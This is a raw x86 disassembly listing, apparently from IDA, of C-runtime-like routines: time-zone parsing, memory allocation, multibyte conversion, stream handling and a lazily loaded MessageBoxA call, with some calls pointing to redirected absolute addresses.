ecx push 3 call sub_419AF6 ; END OF FUNCTION CHUNK FOR sub_41D4FC ; =============== S U B R O U T I N E ======================================= sub_420939 proc near ; CODE XREF: sub_41D609:loc_41D648p cmp dword_4CDC78, 0 jnz short locret_42094D call sub_42094E inc dword_4CDC78 locret_42094D: ; CODE XREF: sub_420939+7j retn sub_420939 endp ; =============== S U B R O U T I N E ======================================= sub_42094E proc near ; CODE XREF: sub_420939+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4CDBC0, ebp mov dword_4366E8, ebx mov dword_4366D8, ebx call sub_421DAE mov esi, eax pop ecx cmp esi, ebp jnz loc_420A77 push offset dword_4CDBC8 call near ptr 27F0000h nop cmp eax, ebx jz loc_420BA6 mov eax, dword_4CDBC8 mov ecx, dword_4CDC1C imul eax, 3Ch cmp word_4CDC0E, bp push 1 pop edx mov dword_436640, eax mov dword_4CDBC0, edx jz short loc_4209C5 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_436640, eax loc_4209C5: ; CODE XREF: sub_42094E+69j cmp word_4CDC62, bp jz short loc_4209E9 mov eax, dword_4CDC70 cmp eax, ebp jz short loc_4209E9 sub eax, ecx mov dword_436644, edx imul eax, 3Ch mov dword_436648, eax jmp short loc_4209F5 ; --------------------------------------------------------------------------- loc_4209E9: ; CODE XREF: sub_42094E+7Ej ; sub_42094E+87j mov dword_436644, ebp mov dword_436648, ebp loc_4209F5: ; CODE XREF: sub_42094E+99j lea eax, [esp+14h+var_4] mov esi, dword_424150 push eax push ebp push 3Fh mov edi, 220h push off_4366CC push ebx push offset dword_4CDBCC push edi push dword_4CDA58 call esi test eax, eax jz short loc_420A32 cmp [esp+14h+var_4], ebp jnz short loc_420A32 mov eax, off_4366CC and byte ptr [eax+3Fh], 0 jmp short loc_420A3A ; --------------------------------------------------------------------------- loc_420A32: ; CODE XREF: sub_42094E+D1j ; sub_42094E+D7j mov eax, off_4366CC and byte ptr [eax], 0 loc_420A3A: ; CODE XREF: sub_42094E+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_4366D0 push ebx push offset dword_4CDC20 push edi push dword_4CDA58 call esi test eax, eax jz loc_420B9E cmp [esp+14h+var_4], ebp jnz loc_420B9E mov eax, off_4366D0 and byte ptr [eax+3Fh], 0 jmp loc_420BA6 ; --------------------------------------------------------------------------- loc_420A77: ; CODE XREF: sub_42094E+2Dj cmp byte ptr [esi], 0 jz loc_420BA6 mov eax, dword_4CDC74 cmp eax, ebp jz short loc_420A9A push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_420BA6 loc_420A9A: ; CODE XREF: sub_42094E+139j push dword_4CDC74 call sub_417C3B push esi call sub_417AB0 inc eax push eax call sub_417B89 add esp, 0Ch cmp eax, ebp mov dword_4CDC74, eax jz loc_420BA6 push esi push eax call sub_4179C0 push 3 push esi push off_4366CC call sub_418C10 mov eax, off_4366CC add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_420AEF push 1 inc esi pop edi loc_420AEF: ; CODE XREF: sub_42094E+19Bj push esi call sub_417794 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_436640, ecx loc_420B06: ; CODE XREF: sub_42094E+1C7j mov al, [esi] cmp al, 2Bh jz short loc_420B14 cmp al, bl jl short loc_420B17 cmp al, 39h jg short loc_420B17 loc_420B14: ; CODE XREF: sub_42094E+1BCj inc esi jmp short loc_420B06 ; --------------------------------------------------------------------------- loc_420B17: ; CODE XREF: sub_42094E+1C0j ; sub_42094E+1C4j cmp byte ptr [esi], 3Ah jnz short loc_420B6A inc esi push esi call sub_417794 imul eax, 3Ch pop ecx mov ecx, dword_436640 add ecx, eax mov dword_436640, ecx loc_420B35: ; CODE XREF: sub_42094E+1F2j mov al, [esi] cmp al, bl jl short loc_420B42 cmp al, 39h jg short loc_420B42 inc esi jmp short loc_420B35 ; --------------------------------------------------------------------------- loc_420B42: ; CODE XREF: sub_42094E+1EBj ; sub_42094E+1EFj cmp byte ptr [esi], 3Ah jnz short loc_420B6A inc esi push esi call sub_417794 pop ecx mov ecx, dword_436640 add ecx, eax mov dword_436640, ecx loc_420B5D: ; CODE XREF: sub_42094E+21Aj mov al, [esi] cmp al, bl jl short loc_420B6A cmp al, 39h jg short loc_420B6A inc esi jmp short loc_420B5D ; --------------------------------------------------------------------------- loc_420B6A: ; CODE XREF: sub_42094E+1CCj ; sub_42094E+1F7j ... cmp edi, ebp jz short loc_420B76 neg ecx mov dword_436640, ecx loc_420B76: ; CODE XREF: sub_42094E+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_436644, eax jz short loc_420B9E push 3 push esi push off_4366D0 call sub_418C10 mov eax, off_4366D0 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_420BA6 ; --------------------------------------------------------------------------- loc_420B9E: ; CODE XREF: sub_42094E+10Bj ; sub_42094E+115j ... mov eax, off_4366D0 and byte ptr [eax], 0 loc_420BA6: ; CODE XREF: sub_42094E+40j ; sub_42094E+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_42094E endp ; =============== S U B R O U T I N E ======================================= sub_420BAC proc near ; CODE XREF: sub_41D609+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_436644, edi jnz short loc_420BC0 loc_420BB9: ; CODE XREF: sub_420BAC+148j ; sub_420BAC+150j ... xor eax, eax jmp loc_420D0C ; --------------------------------------------------------------------------- loc_420BC0: ; CODE XREF: sub_420BAC+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_4366D8 jnz short loc_420BDE cmp eax, dword_4366E8 jz loc_420CE0 loc_420BDE: ; CODE XREF: sub_420BAC+24j cmp dword_4CDBC0, edi jz loc_420CB6 movzx ecx, word_4CDC6E push ecx cmp word_4CDC60, di movzx ecx, word_4CDC6C push ecx movzx ecx, word_4CDC6A push ecx movzx ecx, word_4CDC68 push ecx jnz short loc_420C30 movzx ecx, word_4CDC64 push edi push ecx movzx ecx, word_4CDC66 push ecx movzx ecx, word_4CDC62 push ecx push eax push ebx jmp short loc_420C44 ; --------------------------------------------------------------------------- loc_420C30: ; CODE XREF: sub_420BAC+65j movzx ecx, word_4CDC66 push ecx push edi movzx ecx, word_4CDC62 push edi push ecx push eax push edi loc_420C44: ; CODE XREF: sub_420BAC+82j push ebx call sub_420D58 movzx eax, word_4CDC1A add esp, 2Ch cmp word_4CDC0C, di push eax movzx eax, word_4CDC18 push eax movzx eax, word_4CDC16 push eax movzx eax, word_4CDC14 push eax jnz short loc_420C9E movzx eax, word_4CDC10 push edi push eax movzx eax, word_4CDC12 push eax movzx eax, word_4CDC0E push eax push dword ptr [esi+14h] push ebx loc_420C93: ; CODE XREF: sub_420BAC+108j push edi call sub_420D58 add esp, 2Ch jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420C9E: ; CODE XREF: sub_420BAC+C8j movzx eax, word_4CDC12 push eax push edi movzx eax, word_4CDC0E push edi push eax push dword ptr [esi+14h] push edi jmp short loc_420C93 ; --------------------------------------------------------------------------- loc_420CB6: ; CODE XREF: sub_420BAC+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_420D58 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_420D58 add esp, 58h loc_420CE0: ; CODE XREF: sub_420BAC+2Cj ; sub_420BAC+F0j mov edx, dword_4366DC mov eax, dword_4366EC mov ecx, [esi+1Ch] cmp edx, eax jge short loc_420D10 cmp ecx, edx jl loc_420BB9 cmp ecx, eax jg loc_420BB9 cmp ecx, edx jle short loc_420D24 cmp ecx, eax jge short loc_420D24 loc_420D0A: ; CODE XREF: sub_420BAC+166j ; sub_420BAC+16Aj mov eax, ebx loc_420D0C: ; CODE XREF: sub_420BAC+Fj ; sub_420BAC+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_420D10: ; CODE XREF: sub_420BAC+144j cmp ecx, eax jl short loc_420D0A cmp ecx, edx jg short loc_420D0A cmp ecx, eax jle short loc_420D24 cmp ecx, edx jl loc_420BB9 loc_420D24: ; CODE XREF: sub_420BAC+158j ; sub_420BAC+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_420D4B xor ecx, ecx cmp eax, dword_4366E0 setnl cl loc_420D47: ; CODE XREF: sub_420BAC+1AAj mov eax, ecx jmp short loc_420D0C ; --------------------------------------------------------------------------- loc_420D4B: ; CODE XREF: sub_420BAC+18Ej xor ecx, ecx cmp eax, dword_4366F0 setl cl jmp short loc_420D47 sub_420BAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D58 proc near ; CODE XREF: sub_420BAC+99p ; sub_420BAC+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_420DF3 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_420D83 shl esi, 2 mov eax, dword_4366F0[esi] jmp short loc_420D8C ; --------------------------------------------------------------------------- loc_420D83: ; CODE XREF: sub_420D58+1Ej shl esi, 2 mov eax, dword_436724[esi] loc_420D8C: ; CODE XREF: sub_420D58+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_420DC6 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_420DD0 ; --------------------------------------------------------------------------- loc_420DC6: ; CODE XREF: sub_420D58+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_420DD0: ; CODE XREF: sub_420D58+6Cj cmp [ebp+arg_10], 5 jnz short loc_420E0E cmp [ebp+arg_8], 0 jnz short loc_420DE4 mov esi, dword_4366F4[esi] jmp short loc_420DEA ; --------------------------------------------------------------------------- loc_420DE4: ; CODE XREF: sub_420D58+82j mov esi, dword_436728[esi] loc_420DEA: ; CODE XREF: sub_420D58+8Aj cmp ecx, esi jle short loc_420E0E sub ecx, 7 jmp short loc_420E0E ; --------------------------------------------------------------------------- loc_420DF3: ; CODE XREF: sub_420D58+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_420E04 mov ecx, dword_4366F0[eax*4] jmp short loc_420E0B ; --------------------------------------------------------------------------- loc_420E04: ; CODE XREF: sub_420D58+A1j mov ecx, dword_436724[eax*4] loc_420E0B: ; CODE XREF: sub_420D58+AAj add ecx, [ebp+arg_18] loc_420E0E: ; CODE XREF: sub_420D58+7Cj ; sub_420D58+94j ... cmp [ebp+arg_0], 1 jnz short loc_420E3F mov eax, [ebp+arg_1C] mov dword_4366DC, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_4366D8, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_4366E0, eax jmp short loc_420E94 ; --------------------------------------------------------------------------- loc_420E3F: ; CODE XREF: sub_420D58+BAj mov eax, [ebp+arg_1C] mov dword_4366EC, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_436648 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_4366F0, eax jns short loc_420E77 add eax, 5265C00h dec ecx mov dword_4366F0, eax jmp short loc_420E88 ; --------------------------------------------------------------------------- loc_420E77: ; CODE XREF: sub_420D58+110j mov edx, 5265C00h cmp eax, edx jl short loc_420E8E sub eax, edx inc ecx mov dword_4366F0, eax loc_420E88: ; CODE XREF: sub_420D58+11Dj mov dword_4366EC, ecx loc_420E8E: ; CODE XREF: sub_420D58+126j mov dword_4366E8, ebx loc_420E94: ; CODE XREF: sub_420D58+E5j pop esi pop ebx pop ebp retn sub_420D58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E98 proc near ; CODE XREF: sub_41D797+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_420EBB cmp [ebp+arg_8], ebx jz short loc_420EBB mov al, [esi] cmp al, bl jnz short loc_420EC1 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_420EBB mov [eax], bx loc_420EBB: ; CODE XREF: sub_420E98+Cj ; sub_420E98+11j ... xor eax, eax loc_420EBD: ; CODE XREF: sub_420E98+42j ; sub_420E98+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_420EC1: ; CODE XREF: sub_420E98+17j cmp dword_4CDA48, ebx jnz short loc_420EDC mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_420ED7 movzx ax, al mov [ecx], ax loc_420ED7: ; CODE XREF: sub_420E98+36j ; sub_420E98+C0j push 1 pop eax jmp short loc_420EBD ; --------------------------------------------------------------------------- loc_420EDC: ; CODE XREF: sub_420E98+2Fj mov ecx, off_433C70 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420F39 mov eax, dword_433E7C cmp eax, 1 jle short loc_420F20 cmp [ebp+arg_8], eax jl short loc_420F2A xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4CDA58 call near ptr 2630000h nop test eax, eax mov eax, dword_433E7C jnz short loc_420EBD loc_420F20: ; CODE XREF: sub_420E98+5Cj cmp [ebp+arg_8], eax jb short loc_420F2A cmp [esi+1], bl jnz short loc_420EBD loc_420F2A: ; CODE XREF: sub_420E98+61j ; sub_420E98+8Bj ... mov dword_4CD9B4, 2Ah or eax, 0FFFFFFFFh jmp short loc_420EBD ; --------------------------------------------------------------------------- loc_420F39: ; CODE XREF: sub_420E98+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4CDA58 nop call near ptr 2630000h test eax, eax jnz loc_420ED7 jmp short loc_420F2A sub_420E98 endp ; =============== S U B R O U T I N E ======================================= sub_420F60 proc near ; CODE XREF: sub_41D797+76p ; sub_41D797+88p ... arg_0 = dword ptr 4 cmp dword_433E7C, 1 jle short loc_420F77 push 8 push [esp+4+arg_0] call sub_41A642 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_420F77: ; CODE XREF: sub_420F60+7j mov eax, [esp+arg_0] mov ecx, off_433C70 mov al, [ecx+eax*2] and eax, 8 retn sub_420F60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_420F90 proc near ; CODE XREF: sub_41D797+797p ; sub_41D797+7E7p cmp cl, 40h jnb short loc_420FAA cmp cl, 20h jnb short loc_420FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_420FA0: ; CODE XREF: sub_420F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_420FAA: ; CODE XREF: sub_420F90+3j xor eax, eax xor edx, edx retn sub_420F90 endp ; =============== S U B R O U T I N E ======================================= sub_420FAF proc near ; CODE XREF: sub_41E20D+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_420FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_420FCD test al, 80h jz short loc_420FFB test al, 2 jnz short loc_420FFB loc_420FCD: ; CODE XREF: sub_420FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_420FDA push esi call sub_41F9D8 pop ecx loc_420FDA: ; CODE XREF: sub_420FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_420FEA cmp dword ptr [esi+4], 0 jnz short loc_420FFB inc eax mov [esi], eax loc_420FEA: ; CODE XREF: sub_420FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_421001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_421007 inc eax mov [esi], eax loc_420FFB: ; CODE XREF: sub_420FAF+9j ; sub_420FAF+18j ... or eax, 0FFFFFFFFh loc_420FFE: ; CODE XREF: sub_420FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_421001: ; CODE XREF: sub_420FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_421007: ; CODE XREF: sub_420FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_420FFE sub_420FAF endp ; =============== S U B R O U T I N E ======================================= sub_42101D proc near ; CODE XREF: ___:0041F15Ap arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_42102E add esp, 0Ch retn sub_42101D endp ; =============== S U B R O U T I N E ======================================= sub_42102E proc near ; CODE XREF: sub_42101D+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4CEF01[eax], cl jnz short loc_42105B cmp [esp+arg_4], 0 jz short loc_421054 movzx eax, word_433C7A[eax*2] and eax, [esp+arg_4] jmp short loc_421056 ; --------------------------------------------------------------------------- loc_421054: ; CODE XREF: sub_42102E+16j xor eax, eax loc_421056: ; CODE XREF: sub_42102E+24j test eax, eax jnz short loc_42105B retn ; --------------------------------------------------------------------------- loc_42105B: ; CODE XREF: sub_42102E+Fj ; sub_42102E+2Aj push 1 pop eax retn sub_42102E endp ; =============== S U B R O U T I N E ======================================= sub_42105F proc near ; CODE XREF: sub_41F885+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4CDC7C, ebx push esi push edi jnz short loc_4210AE push offset aUser32_dll ; "user32.dll" call near ptr 26F06E4h nop mov edi, eax cmp edi, ebx jz short loc_4210E4 mov esi, dword_4240DC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4CDC7C, eax jz short loc_4210E4 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4CDC80, eax call esi mov dword_4CDC84, eax loc_4210AE: ; CODE XREF: sub_42105F+Bj mov eax, dword_4CDC80 test eax, eax jz short loc_4210CD call eax mov ebx, eax test ebx, ebx jz short loc_4210CD mov eax, dword_4CDC84 test eax, eax jz short loc_4210CD push ebx call eax mov ebx, eax loc_4210CD: ; CODE XREF: sub_42105F+56j ; sub_42105F+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4CDC7C loc_4210E0: ; CODE XREF: sub_42105F+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4210E4: ; CODE XREF: sub_42105F+1Cj ; sub_42105F+33j xor eax, eax jmp short loc_4210E0 sub_42105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210E8 proc near ; CODE XREF: sub_41FA42+22p ; sub_41FA42+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_421109 test esi, esi jnz short loc_421103 push 1 pop esi loc_421103: ; CODE XREF: sub_4210E8+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_421109: ; CODE XREF: sub_4210E8+12j ; sub_4210E8+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_421168 mov eax, dword_4CF028 cmp eax, 3 jnz short loc_421134 mov eax, [ebp+arg_0] cmp eax, dword_4CF020 ja short loc_421153 push eax call sub_41B0DD mov edi, eax pop ecx test edi, edi jnz short loc_42117E jmp short loc_421153 ; --------------------------------------------------------------------------- loc_421134: ; CODE XREF: sub_4210E8+30j cmp eax, 2 jnz short loc_421153 cmp esi, dword_435EB4 ja short loc_421153 mov eax, esi shr eax, 4 push eax call sub_41BB80 mov edi, eax pop ecx test edi, edi jnz short loc_421192 loc_421153: ; CODE XREF: sub_4210E8+3Bj ; sub_4210E8+4Aj ... push esi push 8 push dword_4CF024 nop call near ptr 2710000h mov edi, eax test edi, edi jnz short loc_42118C loc_421168: ; CODE XREF: sub_4210E8+26j cmp dword_4CDA14, 0 jz short loc_42118C push esi call sub_41AB54 test eax, eax pop ecx jz short loc_421195 jmp short loc_421109 ; --------------------------------------------------------------------------- loc_42117E: ; CODE XREF: sub_4210E8+48j push [ebp+arg_0] loc_421181: ; CODE XREF: sub_4210E8+ABj push 0 push edi call sub_417330 add esp, 0Ch loc_42118C: ; CODE XREF: sub_4210E8+7Ej ; sub_4210E8+87j mov eax, edi loc_42118E: ; CODE XREF: sub_4210E8+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_421192: ; CODE XREF: sub_4210E8+69j push esi jmp short loc_421181 ; --------------------------------------------------------------------------- loc_421195: ; CODE XREF: sub_4210E8+92j xor eax, eax jmp short loc_42118E sub_4210E8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41FAE7 loc_421199: ; CODE XREF: sub_41FAE7+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4CECC0, esi jle short loc_4211EC loc_4211A8: ; CODE XREF: sub_41FAE7+1703j mov eax, dword_4CDCB0 mov eax, [eax+esi*4] test eax, eax jz short loc_4211E3 test byte ptr [eax+0Ch], 83h jz short loc_4211C7 push eax call sub_417900 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4211C7 inc edi loc_4211C7: ; CODE XREF: sub_41FAE7+16D1j ; sub_41FAE7+16DDj cmp esi, 14h jl short loc_4211E3 mov eax, dword_4CDCB0 push dword ptr [eax+esi*4] call sub_417C3B mov eax, dword_4CDCB0 pop ecx and dword ptr [eax+esi*4], 0 loc_4211E3: ; CODE XREF: sub_41FAE7+16CBj ; sub_41FAE7+16E3j inc esi cmp esi, dword_4CECC0 jl short loc_4211A8 loc_4211EC: ; CODE XREF: sub_41FAE7+16BFj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_41FAE7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4211F1 proc near ; CODE XREF: sub_41FEC6+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_417B30 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4CEDE0 jnb loc_421326 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4CECE0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_421326 push 1 push esi push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_421330 push 2 push esi push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_421330 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_4212D3 push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_417330 push 8000h push ebx call sub_421E2B add esp, 14h mov [ebp+arg_4], eax loc_421287: ; CODE XREF: sub_4211F1+BDj mov eax, 1000h cmp edi, eax jge short loc_421292 mov eax, edi loc_421292: ; CODE XREF: sub_4211F1+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41ED97 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4212B0 sub edi, eax test edi, edi jle short loc_4212C6 jmp short loc_421287 ; --------------------------------------------------------------------------- loc_4212B0: ; CODE XREF: sub_4211F1+B5j cmp dword_4CD9B8, 5 jnz short loc_4212C3 mov dword_4CD9B4, 0Dh loc_4212C3: ; CODE XREF: sub_4211F1+C6j or esi, 0FFFFFFFFh loc_4212C6: ; CODE XREF: sub_4211F1+BBj push [ebp+arg_4] push ebx call sub_421E2B pop ecx pop ecx jmp short loc_421313 ; --------------------------------------------------------------------------- loc_4212D3: ; CODE XREF: sub_4211F1+71j jge short loc_421313 push 0 push [ebp+arg_4] push ebx call sub_41E517 push ebx call sub_41FE32 add esp, 10h push eax nop call near ptr 25D0000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_421313 mov dword_4CD9B4, 0Dh nop call near ptr 2650C0Ah mov dword_4CD9B8, eax loc_421313: ; CODE XREF: sub_4211F1+E0j ; sub_4211F1:loc_4212D3j ... push 0 push [ebp+arg_0] push ebx call sub_41E517 add esp, 0Ch mov eax, esi pop edi jmp short loc_421333 ; --------------------------------------------------------------------------- loc_421326: ; CODE XREF: sub_4211F1+1Aj ; sub_4211F1+36j mov dword_4CD9B4, 9 loc_421330: ; CODE XREF: sub_4211F1+4Ej ; sub_4211F1+63j or eax, 0FFFFFFFFh loc_421333: ; CODE XREF: sub_4211F1+133j pop esi pop ebx leave retn sub_4211F1 endp ; =============== S U B R O U T I N E ======================================= sub_421337 proc near ; CODE XREF: sub_420331+2Bp ; sub_420331+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_42134D cmp ecx, esi jnb short loc_421350 loc_42134D: ; CODE XREF: sub_421337+10j push 1 pop eax loc_421350: ; CODE XREF: sub_421337+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_421337 endp ; =============== S U B R O U T I N E ======================================= sub_421358 proc near ; CODE XREF: sub_421411+40p ; sub_421411+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_421337 add esp, 0Ch test eax, eax jz short loc_42138A lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_421337 add esp, 0Ch test eax, eax jz short loc_42138A inc dword ptr [esi+8] loc_42138A: ; CODE XREF: sub_421358+19j ; sub_421358+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_421337 add esp, 0Ch test eax, eax jz short loc_4213A2 inc dword ptr [esi+8] loc_4213A2: ; CODE XREF: sub_421358+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_421337 add esp, 0Ch pop edi pop esi retn sub_421358 endp ; =============== S U B R O U T I N E ======================================= sub_4213B6 proc near ; CODE XREF: sub_421411+30p ; sub_421411+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4213B6 endp ; =============== S U B R O U T I N E ======================================= sub_4213E4 proc near ; CODE XREF: sub_4219A9+1C8p ; sub_421EA1+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4213E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421411 proc near ; CODE XREF: sub_4214D8+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_421485 push edi mov [ebp+arg_8], eax loc_421438: ; CODE XREF: sub_421411+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4213B6 push ebx call sub_4213B6 lea eax, [ebp+var_10] push eax push ebx call sub_421358 push ebx call sub_4213B6 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_421358 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_421438 xor edx, edx pop edi loc_421485: ; CODE XREF: sub_421411+21j ; sub_421411+9Fj cmp [ebx+8], edx jnz short loc_4214B2 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_421485 ; 